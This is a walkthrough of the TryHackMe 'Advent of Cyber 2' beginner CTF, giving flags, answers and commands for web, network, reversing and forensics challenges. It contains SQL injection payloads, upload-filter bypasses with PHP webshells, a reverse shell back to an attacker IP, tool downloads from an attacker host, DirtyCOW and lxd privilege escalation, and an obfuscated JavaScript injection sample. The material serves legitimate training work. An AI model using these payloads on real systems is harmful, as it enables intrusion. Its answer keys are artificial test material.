Information
Room#
- Name: Advent of Cyber 2
- Profile: tryhackme.com
- Difficulty: Easy
- Description: Get started with Cyber Security in 25 Days - Learn the basics by doing a new, beginner friendly security challenge every day leading up to Christmas.
Write-up
Overview#
Install tools used in this WU on BlackArch Linux:
1 | $ sudo pacman -S jq vim ffuf weevely sqlmap peass python ruby nmap perl-image-exiftool lynx |
Disclaimer: there are answer without explanation because they are too easy to even require a write-up or just need to follow the instruction of the task.
[Day 1] Web Exploitation - A Christmas Crisis#
Register for an account, and then login.
What is the name of the cookie used for authentication?
Answer: auth
In what format is the value of this cookie encoded?
Answer: hexadecimal
Having decoded the cookie, what format is the data stored in?
Answer: json
1 | $ printf %s '7b22636f6d70616e79223a22546865204265737420466573746976616c20436f6d70616e79222c2022757365726e616d65223a226e6f72616a227d' | xxd -r -p | jq |
Figure out how to bypass the authentication.
What is the value of Santa's cookie?
Answer: 7b22636f6d70616e79223a22546865204265737420466573746976616c20436f6d70616e79222c2022757365726e616d65223a2273616e7461227d
1 | $ printf %s '{"company":"The Best Festival Company", "username":"santa"}' | xxd -p | tr -d '\n' |
Now that you are the santa user, you can re-activate the assembly line!
What is the flag you're given when the line is fully active?
Answer:
THM{MjY0Yzg5NTJmY2Q1NzM1NjBmZWFhYmQy}
[Day 2] Web Exploitation - The Elf Strikes Back!#
What string of text needs adding to the URL to get access to the upload page?
Answer:
?id=ODIzODI5MTNiYmYw
What type of file is accepted by the site?
Answer:
image
1 | <input type=file id="chooseFile" accept=".jpeg,.jpg,.png"> |
Bypass the filter and upload a reverse shell.
In which directory are the uploaded files stored?
Answer:
/uploads/
1 | $ ffuf -u http://10.10.234.68/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -ac |
What is the flag in /var/www/flag.txt?
Answer:
THM{MGU3Y2UyMGUwNjExYTY4NTAxOWJhMzhh}
1 | $ weevely http://10.10.234.68/uploads/agent.png.php noraj |
[Day 3] Web Exploitation - Christmas Chaos#
What is the flag?
Answer:
THM{885ffab980e049847516f9d8fe99ad1a}
[Day 4] Web Exploitation - Santa's watching#
Given the URL "http://shibes.xyz/api.php", what would the entire wfuzz command look like to query the "breed" parameter using the wordlist "big.txt" (assume that "big.txt" is in your current directory)
Answer:
wfuzz -d -z file,big.txt http://shibes.xyz/api.php?breed=FUZZ
Use GoBuster (against the target you deployed -- not the shibes.xyz domain) to find the API directory. What file is there?
Answer:
site-log.php
1 | $ ffuf -u http://10.10.74.101/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt |
Fuzz the date parameter on the file you found in the API directory. What is the flag displayed in the correct post?
Answer:
THM{D4t3_AP1}
1 | $ ffuf -u 'http://10.10.74.101/api/site-log.php?date=FUZZ' -c -w ./wordlist -fs 0 |
[Day 5] Web Exploitation - Someone stole Santa's gift list!#
wishlist.txt port 8000
Without using directory brute forcing, what's Santa's secret login panel?
Answer: /santapanel
How many entries are there in the gift database?
Answer: 22
Exploit the SQLi on login form (manually):
- username:
admin' OR 1=1-- - - password:
whatever
Exploit the SQLi on the search form (automatically):
search.txt
1 | GET /santapanel?search=noraj HTTP/1.1 |
1 | $ sqlmap -r "$(pwd)/search.txt" --tamper=space2comment --dbms sqlite |
What did Paul ask for?
Answer: github ownership
1 | $ sqlmap -r "$(pwd)/search.txt" --tamper=space2comment --dbms sqlite -D gift -T sequels --dump |
What is the flag?
Answer:
thmfox{All_I_Want_for_Christmas_Is_You}
1 | $ sqlmap -r "$(pwd)/search.txt" --tamper=space2comment --dbms sqlite -D gift -T hidden_table --dump |
What is admin's password?
Answer: EhCNSWzzFP6sc7gB
1 | $ sqlmap -r "$(pwd)/search.txt" --tamper=space2comment --dbms sqlite -D gift -T users --dump |
[Day 6] Web Exploitation - Be careful with what you wish on a Christmas night#
What vulnerability type was used to exploit the application?
Answer: stored Cross-site scripting
What query string can be abused to craft a reflected XSS?
Answer: q
Run a ZAP (zaproxy) automated scan on the target. How many XSS alerts are in the scan?
Answer: 2
[Day 7] Networking - The Grinch Really Did Steal Christmas#
Open "pcap1.pcap" in Wireshark. What is the IP address that initiates an ICMP/ping?
Answer: 10.11.3.2
If we only wanted to see HTTP GET requests in our "pcap1.pcap" file, what filter would we use?
Answer:
http.request.method == GET
Now apply this filter to "pcap1.pcap" in Wireshark, what is the name of the article that the IP address "10.10.67.199" visited?
Answer: reindeer-of-the-week
Let's begin analysing "pcap2.pcap". Look at the captured FTP traffic; what password was leaked during the login process?
There's a lot of irrelevant data here - Using a filter here would be useful!
Answer: plaintext_password_fiasco
Continuing with our analysis of "pcap2.pcap", what is the name of the protocol that is encrypted?
Answer: ssh
Analyse "pcap3.pcap" and recover Christmas!
What is on Elf McSkidy's wishlist that will be used to replace Elf McEager?
Answer: Rubber ducky
[Day 8] Networking - What's Under the Christmas Tree?#
When was Snort created?
Answer: 1998
https://en.wikipedia.org/wiki/Snort_(software)
Using Nmap on 10.10.237.125, what are the port numbers of the three services running? (Please provide your answer in ascending order/lowest -> highest, separated by a comma)
Answer:
80,2222,3389
Use Nmap to determine the name of the Linux distribution that is running, what is reported as the most likely distribution to be running?
Answer: Ubuntu
Use Nmap's Network Scripting Engine (NSE) to retrieve the "HTTP-TITLE" of the webserver. Based on the value returned, what do we think this website might be used for?
Answer: blog
[Day 9] Networking - Anyone can be Santa!#
Question #1: Name the directory on the FTP server that has data accessible by the "anonymous" user
Answer: public
Question #2: What script gets executed within this directory?
Answer: backup.sh
Question #3: What movie did Santa have on his Christmas shopping list?
Answer: The Polar Express
Question #4: Re-upload this script to contain malicious data (just like we did in section 9.6. Output the contents of /root/flag.txt!
Answer:
THM{even_you_can_be_santa}
[Day 10] Networking - Don't be sElfish!#
Question #1 Using enum4linux, how many users are there on the Samba server (MACHINE_IP)?
Answer: 3
Question #2 Now how many "shares" are there on the Samba server?
Answer: 4
Question #3 Use smbclient to try to login to the shares on the Samba server (MACHINE_IP). What share doesn't require a password?
Answer: tbfc-santa
Question #4 Log in to this share, what directory did ElfMcSkidy leave for Santa?
Answer: jingle-tunes
[Day 11] Networking - The Rogue Gnome#
What type of privilege escalation involves using a user account to execute commands as an administrator?
Answer: vertical
What is the name of the file that contains a list of users who are a part of the sudo group?
Answer: sudoers
Use this executable to launch a system shell as root.
What are the contents of the file located at /root/flag.txt?
Answer:
thm{2fb10afe933296592}
On our machine, launch a web server to serve linpeas:
1 | $ ruby -run -ehttpd /usr/share/peass/linPEAS/ -p8080 |
On the target, download it:
1 | -bash-4.4$ wget http://10.9.19.77:8080/linpeas.sh |
[Day 12] Networking - Ready, set, elf.#
What is the version number of the web server?
Answer: 9.0.17
1 | $ sudo nmap -sSVC 10.10.111.98 -Pn |
What CVE can be used to create a Meterpreter entry onto the machine? (Format: CVE-XXXX-XXXX)
Answer: CVE-2019-0232
What are the contents of flag1.txt
Answer:
thm{whacking_all_the_elves}
1 | msf6 exploit(windows/http/tomcat_cgi_cmdlineargs) > options |
[Day 13] Special by John Hammond - Coal for Christmas#
What old, deprecated protocol and service is running?
Answer: telnet
Launch a scan with service and version discovery:
1 | # Nmap 7.91 scan initiated Mon Dec 14 20:13:12 2020 as: nmap -sSVC -p- -v -oA nmap_scan 10.10.141.2 |
What credential was left for you?
Answer: clauschristmas
What distribution of Linux and version number is this server running?
Answer: Ubuntu 12.04
1 | $ cat /etc/*-release |
Who got here first?
Answer: Grinch
1 | $ uname -a |
What is the verbatim syntax you can use to compile, taken from the real C source code comments?
Answer:
gcc -pthread dirty.c -o dirty -lcrypt
1 | $ wget https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c |
On the target machine:
1 | $ wget http://10.9.19.77:8080/dirty.c |
What "new" username was created, with the default operations of the real C source code?
Answer: firefart
What is the MD5 hash output?
Answer: 8b16f00dd3b51efadb02c1df7f8427cc
1 | firefart@christmas:/home/santa# cd |
[Day 14] Special by TheCyberMentor - Where's Rudolph?#
What URL will take me directly to Rudolph's Reddit comment history?
Answer: https://www.reddit.com/user/IGuidetheClaus2020/comments/
- Search for
IGuidetheClaus2020on Namech_k - Go to
Usernamessection - Click on the reddit link
- Click on the
Commentssection - Copy the URL
According to Rudolph, where was he born?
Answer: Chicago
Browse the reddit comment history to find the message:
1 | Fun fact: I was actually born in <edited> and my creator's name was Robert! |
Rudolph mentions Robert. Can you use Google to tell me Robert's last name?
Answer: May
Search for something like Rudolph's creator robert and you will find
some Wikipedia pages:
- The one of the creator : Robert L.
- The one of Rudolph
On what other social media platform might Rudolph have an account?
Answer: twitter
Just guessing.
What is Rudolph's username on that platform?
Answer: IGuideClaus2020
- Search
IGuidetheClaus2020on twitter search bar - One account has
IGuidetheClaus2020as a display name but a different account name (twitter handle)
What appears to be Rudolph's favorite TV show right now?
Answer: bachelorette
- Broswe his twitter history
- There are several posts about a TV show
Based on Rudolph's post history, he took part in a parade. Where did the parade take place?
Answer: chicago
- Download the images from the post where he took part in a parade.
- Image 1
- Image 2
- Upload them to Google Images
- Eventually find a press article talking about the parade
Okay, you found the city, but where specifically was one of the photos taken?
Answer:
41.891815, -87.624277
- There is a post saying:
Here's a higher resolution to one of the photos from earlier
- Download the image
- Run exiftool on it (
exiftool lights-festival-website.jpg) to look at EFIX metadata - GPS Position is displayed but not in the expected format so let's do the same on http://exif.regex.info/exif.cgi instead
Did you find a flag too?
Answer:
{FLAG}ALWAYSCHECKTHEEXIFD4T4
There was a flag hidden in the copyright information field.
Has Rudolph been pwned? What password of his appeared in a breach?
Answer: spygame
- Navigate to https://scylla.sh/api
- Search for
email:rudolphthered@hotmail.com
Based on all the information gathered. It's likely that Rudolph is in the Windy City and is staying in a hotel on Magnificent Mile. What are the street numbers of the hotel address?
Answer: 540
- Use the GPS Position we found earlier on openstreetmap
- Look for the nearest Hotel: Chicago Marriott Downtown Magnificent Mile
- Right click on Show address*
- Look at the street number
[Day 15] Scripting - There's a Python in my stocking!#
What's the output of True + True?
Answer: 2
In python True + True equals two, wich doesn't make sense because
you can add booleans or concatenate them or whetever.
1 | $ python |
So it seems they considered that the True boolean would be truthy as well a one and False boolean would be falsy as well as zero.
So they decided to cast True as one when there is a + operation between booleans. And so 1 + 1 = 2. Which is stupid and confusing.
In ruby true + true properly raises an error:
1 | $ irb |
Because the + operator was not implemented for booleans which make more sense
and is expected.
What's the database for installing other peoples libraries called?
Answer: pypi
For python it's called pypi, for ruby it is called rubygems.
What is the output of bool("False")?
Answer: true
In python any string is considered truthy so casting a string into a boolean will always return true. And an empty string is considered falsy so will return false.
1 | bool("False") |
This weird behavior is the same in PHP.
In ruby there isn't such an unobvious behavior but you can check is the object is empty and that will return a boolean, which make more sense:
1 | "noraj".empty? |
What library lets us download the HTML of a webpage?
Answer: requests
In python there is no native high-level HTTP client but there are:
- http.client native module
- urllib.request native module
- Requests high-level third party library
In ruby there is Net::HTTP native both high and low level library so you don't necessarily need a third party library but if you want more sugar there are many third party options, here a few between the most popular ones:
What is the output of the program provided in "Code to analyse for Question 5" in today's material?
2
3
4
y = x
y.append(6)
print(x)
Answer:
[1, 2, 3, 6]
In python
1 | x = [1, 2, 3] |
Note: this code works in ruby too:
1 | x = [1, 2, 3] |
What causes the previous task to output that?
Answer: pass by reference
[Day 16] Scripting - Help! Where is Santa?#
What is the port number for the web server?
Answer: 8000
Let's find the port using nmap:
1 | $ nmap -sSV -p- -v -oA nmap_scan 10.10.126.254 |
Without using enumerations tools such as Dirbuster, what is the directory for the API? (without the API key)
Answer:
/api/
Just guessing it is the very classic /api/.
Find out the correct API key. Remember, this is an odd number between 0-100. After too many attempts, Santa's Sled will block you.
To unblock yourself, simply terminate and re-deploy the target instance (10.10.126.254)
Answer: 57
First let's try to retrieve all the links on the page:
1 | $ lynx -dump -listonly -nonumbers http://10.10.207.230:8000/static/index.html |
So here is the API link:
http://10.10.49.232:8000/api/<api_key>
We just have to BF odd numbers between 0-100 (1, 3, ... 99).
No need to create a custom script for such a simple task, burp can handle that.
The wrong keys have an answer of 186 bytes, and the right key of 202 bytes.
Where is Santa right now?
Answer:
Winter Wonderland, Hyde Park, London
It is the answer from the API when you specify the right key.
[Day 17] Reverse Engineering - ReverseELFneering#
What is the value of local_ch when its corresponding movl instruction is called (first if multiple)?
Answer: 1
Try the Intro to x86-64 room to understand basic x86-64 assembly instructions, radare2 commands and reverse engineering.
Set a breakpoint on the move, start the prog, hit the breackpoint, step to the next instruction, display the value of local_ch.
1 | $ r2 -d challenge1 |
What is the value of eax when the imull instruction is called?
Answer: 6
Set a breakpoint on the imull, resume execution, hit breakpoint, go one step after, read register.
1 | [0x00400b51]> pdf@main |
What is the value of local_4h before eax is set to 0?
Answer: 6
Set a breakpoint on the instruction where eax is set to zero, resume execution, hit breakpoint, read local_4h.
1 | [0x00400b51]> pdf@main |
[Day 18] Reverse Engineering - The Bits of Christmas#
What is Santa's password?
Answer: santapassword321
- Login via RDP
- Launch ILspy
- Open TBFC_APP.exe in ILspy
Once the app is decompiled in ILspy go to: TBFC_APP > CrackMe > MainForm > buttonActivate_Click()
And here we have the code delivering the flag:
1 | // CrackMe.MainForm |
The password is hidden in the module name.
Now that you've retrieved this password, try to login...What is the flag?
Answer:
thm{046af}
See the answer of the previous question.
[Day 19] Special by Tib3rius - The Naughty or Nice List#
What is Santa's password?
Answer:
Be good for goodness sake!
Retrieve the URL after a search: http://10.10.222.113/?proxy=http://list.hohoho:8080/search.php?name=noraj
list.hohoho is the only accepted domain (whitelist), so let's find a bypass for localhost such as using https://readme.localtest.me/ service that will resolve to 127.0.0.1.
As there is a web server running on localhost it displays us this message
Santa,
If you need to make any changes to the Naughty or Nice list, you need to login.
I know you have trouble remembering your password so here it is: edited.
- Elf McSkidy
What is the challenge flag?
Answer:
THM{EVERYONE_GETS_PRESENTS}
Log in we the creds on the admin form:
- Username:
Santa(case sensitive) - Password: found in previous question
After being redirected to http://10.10.222.113/admin.php, delete the naughty list and grab the flag.
[Day 20] Blue Teaming - PowershELlF to the rescue#
Search for the first hidden elf file within the Documents folder. Read the contents of this file. What does Elf 1 want?
Answer:
2 front teeth
1 | Microsoft Windows [Version 10.0.17763.737] |
Search on the desktop for a hidden folder that contains the file for Elf 2. Read the contents of this file. What is the name of that movie that Elf 2 wants?
Answer: Scrooged
1 | PS C:\Users\mceager\Documents> cd ..\Desktop |
Search the Windows directory for a hidden folder that contains files for Elf 3. What is the name of the hidden folder? (This command will take a while)
Answer: 3lfthr3e
1 | PS C:\Users\mceager\Desktop\elf2wo> cd C:\Windows |
How many words does the first file contain?
Answer: 9999
1 | PS C:\Windows\System32> cd 3lfthr3e |
What 2 words are at index 551 and 6991 in the first file?
Answer: Red Ryder
1 | PS C:\Windows\System32\3lfthr3e> (gc 1.txt)[551] |
This is only half the answer. Search in the 2nd file for the phrase from the previous question to get the full answer. What does Elf 3 want? (use spaces when submitting the answer)
Answer: red ryder bb gun
1 | PS C:\Windows\System32\3lfthr3e> sls 2.txt -pattern 'RedRyder' |
[Day 21] Blue Teaming - Time for some ELForensics#
Read the contents of the text file within the Documents folder. What is the file hash for db.exe?
Answer: 596690FFC54AB6101932856E6A78E3A1
1 | PS C:\Users\littlehelper\Documents> gc '.\db file hash.txt' |
What is the file hash of the mysterious executable within the Documents folder?
Answer: 5F037501FB542AD2D9B06EB12AED09F0
1 | PS C:\Users\littlehelper\Documents> Get-FileHash -Algorithm MD5 .\deebee.exe |
Using Strings find the hidden flag within the executable?
Answer:
THM{f6187e6cbeb1214139ef313e108cb6f9}
1 | c:\Tools\strings64.exe -accepteula .\deebee.exe |
What is the flag that is displayed when you run the database connector file?
Answer:
THM{088731ddc7b9fdeccaed982b07c297c}
Get the alternate data stream and run the database connector file.
1 | Get-Item -Path deebee.exe -Stream * |
[Day 22] Blue Teaming - Elf McEager becomes CyberElf#
What is the password to the KeePass database?
Answer: thegrinchwashere
base64 decode the folder name, it's the password of the password database.
What is the encoding method listed as the 'Matching ops'?
Answer: base64
It was automatically found by the Magic recipe.
What is the decoded password value of the Elf Server?
Answer:
sn0wM4n!
This time it was encoded in hexadecimal.
What is the decoded password value for ElfMail?
Answer:
ic3Skating!
From HTML entities.
Decode the last encoded value. What is the flag?
Answer:
THM{657012dcf3d1318dca0ed864f0e70535}
- Retrieve the note for "Elf Security System" entry
- It is JavaScript code
- Open the browser JS console (F12) or any JS sandbox
- Paste the code
1 | eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 51, 44, 32, 49, 48, 53, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 51, 44, 32, 49, 48, 53, 44, 32, 49, 49, 54, 44, 32, 49, 48, 52, 44, 32, 49, 49, 55, 44, 32, 57, 56, 44, 32, 52, 54, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 49, 48, 49, 44, 32, 49, 49, 48, 44, 32, 49, 49, 52, 44, 32, 57, 55, 44, 32, 49, 48, 53, 44, 32, 49, 50, 50, 44, 32, 57, 55, 44, 32, 52, 55, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 52, 57, 44, 32, 52, 57, 44, 32, 49, 48, 48, 44, 32, 53, 49, 44, 32, 53, 48, 44, 32, 52, 57, 44, 32, 53, 48, 44, 32, 53, 50, 44, 32, 53, 50, 44, 32, 57, 57, 44, 32, 53, 50, 44, 32, 49, 48, 48, 44, 32, 53, 52, 44, 32, 53, 52, 44, 32, 53, 53, 44, 32, 53, 50, 44, 32, 53, 50, 44, 32, 53, 52, 44, 32, 49, 48, 48, 44, 32, 57, 56, 44, 32, 49, 48, 50, 44, 32, 49, 48, 48, 44, 32, 53, 55, 44, 32, 57, 55, 44, 32, 53, 49, 44, 32, 53, 48, 44, 32, 53, 55, 44, 32, 53, 54, 44, 32, 57, 55, 44, 32, 53, 54, 44, 32, 53, 54, 44, 32, 57, 56, 44, 32, 53, 54, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125)); |
The decoded value is:
1 | <script type="text/javascript" async="" src="hhttps://gist.github.com/heavenraiza/"></script> |
Fix the URL and grab the flag.
[Day 23] Blue Teaming - The Grinch strikes again!#
Decrypt the fake 'bitcoin address' within the ransom note. What is the plain text value?
Answer:
nomorebestfestivalcompany
There a file RansomNote.txt on the desktop.
1 | As you were calmly looking at your documents I encrypted all the workstations at Best Festival Company just now. Including yours McEager! Send me lots and lots of money to my bitcoin address (bm9tb3JlYmVzdGZlc3RpdmFsY29tcGFueQ==) and MAYBE I'll give you the key to decrypt. >:^p |
The fake bitcoin address is encoded in base64:
1 | $ printf %s 'bm9tb3JlYmVzdGZlc3RpdmFsY29tcGFueQ==' | base64 -d |
At times ransomware changes the file extensions of the encrypted files. What is the file extension for each of the encrypted files?
Answer:
.grinch
If you go in the documents (C:\Users\Administrator\Documents\confidential) there
is a folder containing a file with a double extension: eg .txt.edited.
What is the name of the suspicious scheduled task?
Answer: opidsfsdf
Open the Task Scheduler, find a task that is triggered at log on and which is
executing a .exe.
Inspect the properties of the scheduled task. What is the location of the executable that is run at login?
Answer:
C:\Users\Administrator\Desktop\opidsfsdf.exe
Open the Actions tab.
There is another scheduled task that is related to VSS. What is the ShadowCopyVolume ID?
Answer:
7a9eea15-0000-0000-0000-010000000000
The is a task named ShadowCopyVolume{id-edited}
Assign the hidden partition a letter. What is the name of the hidden folder?
Answer: confidential
In the View tab of explorer.exe enable hidden files display.
Right-click and inspect the properties for the hidden folder. Use the 'Previous Versions' tab to restore the encrypted file that is within this hidden folder to the previous version. What is the password within the file?
Answer:
m33pa55w0rdIZseecure!
Do as told and read master-password.txt.
[Day 24] Special by DarkStar - The Trial Before Christmas#
Scan the machine. What ports are open?
Answer:
80, 65000
Let's launch a complete scan:
1 | # Nmap 7.91 scan initiated Sun Jan 3 18:52:54 2021 as: nmap -sSVC -p- -v -oA nmap_scan 10.10.8.246 |
What's the title of the hidden website? It's worthwhile looking recursively at all websites on the box for this step.
Answer: Light Cycle
As I launched the nmap scan with default scripts, http-title gave me the answer.
What is the name of the hidden php page?
Answer:
uploads.php
Let's first try to find some folders on the 1st website:
1 | $ ffuf -u http://10.10.8.246/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -fc 403 |
/3/: this is the retro website we saw in several other AoC challenges/codes/:You didn't think it would be that easy did you?...
I tried to recursively enumerate under /codes/ but a rewrtie rule was generating
many false positive (HTTP 200), all of size 50 bytes so I re-launched the scan with
-fs 50 to filter answers with this size.
1 | $ ffuf -u http://10.10.8.246/codes/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -fc 403 -fs 50 |
I found only one endpoint: /codes/voucher but it's a troll, a rick roll video.
Let's try the first directory:
1 | $ ffuf -u http://10.10.8.246/3/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -fc 403 |
I found /3/9/ with, what looks like, another fake website.
After a dozen of seconds it redirect randomly to another website.
Let's dig deeper.
1 | $ ffuf -u http://10.10.8.246/3/9/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -fc 403 |
/3/9/9/ also redirect to a rick roll video.
So the whole 1st web server on port 80 is a rabbit hole.
Now let's try the other web server on port 65000.
There is a log form, we can register and login but this wil lredirect us to a rick roll again.
Let's enumerate again:
1 | $ ffuf -u http://10.10.8.246:65000/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -fc 403 |
The root path of the API is giving nothing with a GET or POST request.
If we try to hit the API with a GET we obtain an error message:
API responds to post requests only.
Enumerating under the API endpoint in a classical maner won't work, we have
make fuff make POST requests.
1 | $ ffuf --help | grep -i post |
I tried to enumerate a valid param for the upload endpoint:
1 | $ ffuf -u http://10.10.8.246:65000/api/upload/ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -fc 403 -X POST -H "Content-Type: application/json" -d '{"FUZZ": "file.txt"}' -fs 41 |
but without success, I always get this error:
1 | {"res":"Error","msg":"No file extension"}% |
I have found a sub-directory (/api/) but I may have missed a file.
I found nothing with a classic file wordlist:
1 | $ ffuf -u http://10.10.8.246:65000/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-files-lowercase.txt -fc 403 |
As we know we are looking for a PHP file, I can use a wordlist of words and add the php extension.
1 | $ ffuf -u http://10.10.8.246:65000/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -fc 403 -e .php |
Yay! I found the page.
What is the name of the hidden directory where file uploads are saved?
Answer: grid
I have found that during the previous step.
Bypass the filters. Upload and execute a reverse shell.
We can take a look at /assets/js/upload.js to find the param we laked earlier.
1 | let messageTimer; |
Now we know the right params but let's take a look at the filter:
/assets/js/filter.js.
1 | const filter = file => { |
Doing it with curl will bypass the client-side filter that always return false are there is no JS support in curl. But there is still a server-side filter for the extension, hopefully we can bypass that with a double extension to upload some php code.
1 | $ curl -X POST http://10.10.8.246:65000/api/upload/ -H "Content-Type: application/json" --data '{"name":"test.png.php","file":"<?php phpinfo(); ?>"}' |
To upload a more advanced wbe shell or reverse shell let's send our request to burp, where we will be able to edit it more easily:
1 | $ curl -X POST http://10.10.8.246:65000/api/upload/ -H "Content-Type: application/json" --data '{"name":"test.png.php","file":"<?php phpinfo(); ?>"}' --proxy http://127.0.0.1:8080 |
Now generate a webshell:
1 | $ weevely generate noraj agent.php |
Configure burp to intercep JS and answer, change the filter to always return true,
refresh the page, use the uploads.php form to upload the weevely agent.
1 | POST /api/upload HTTP/1.1 |
This way is better than using curl as it will automatically encode the payload.
Then access the webshell:
1 | $ weevely http://10.10.8.246:65000/grid/agent.png.php noraj |
Now we can upgrade to a reverse shell:
Start a listener pwncat -l 9999 -vv then use the reverse shell plugin:
1 | www-data@light-cycle:/var/www/TheGrid/public_html/grid $ :backdoor_reversetcp 10.9.19.77 9999 -s bash |
We received our shell:
1 | $ pwncat -l 9999 -vv |
Now let's upgrade and stabilize it.
1 | www-data@light-cycle:/var/www/TheGrid/public_html/grid$ python3 -c 'import pty;pty.spawn("/bin/bash")' |
What is the value of the web.txt flag?
Answer:
THM{ENTER_THE_GRID}
1 | txt-data@light-cycle:/var/www/TheGrid/public_html/grid$ find /var/www -name web.t |
Review the configuration files for the webserver to find some useful loot in the form of credentials. What credentials do you find? username:password
Answer:
tron:IFightForTheUsers
cat /var/www/TheGrid/includes/dbauth.php:
1 |
|
Access the database and discover the encrypted credentials. What is the name of the database you find these in?
Answer: tron
Let's use the creds:
1 | www-data@light-cycle:/var/www/TheGrid/includes$ mysql -u tron -p |
Crack the password. What is it?
Answer:
@computer@
There is only one user (flynn), the other one (noraj) is the one I created.
1 | mysql> show tables; |
Let's use https://crackstation.net/ to crack the hash.
What is the value of the user.txt flag?
Answer:
THM{IDENTITY_DISC_RECOGNISED}
Now we can connect with flynn
1 | mysql> exit |
Check the user's groups. Which group can be leveraged to escalate privileges?
Answer: lxd
1 | flynn@light-cycle:~$ id |
What is the value of the root.txt flag?
Answer:
THM{FLYNN_LIVES}
Let's use the technique described in the room material.
See the images available:
1 | flynn@light-cycle:~$ lxc image list |
Initialize, configure the disks, and start the container.
1 | flynn@light-cycle:~$ lxc init Alpine noraj -c security.privileged=true |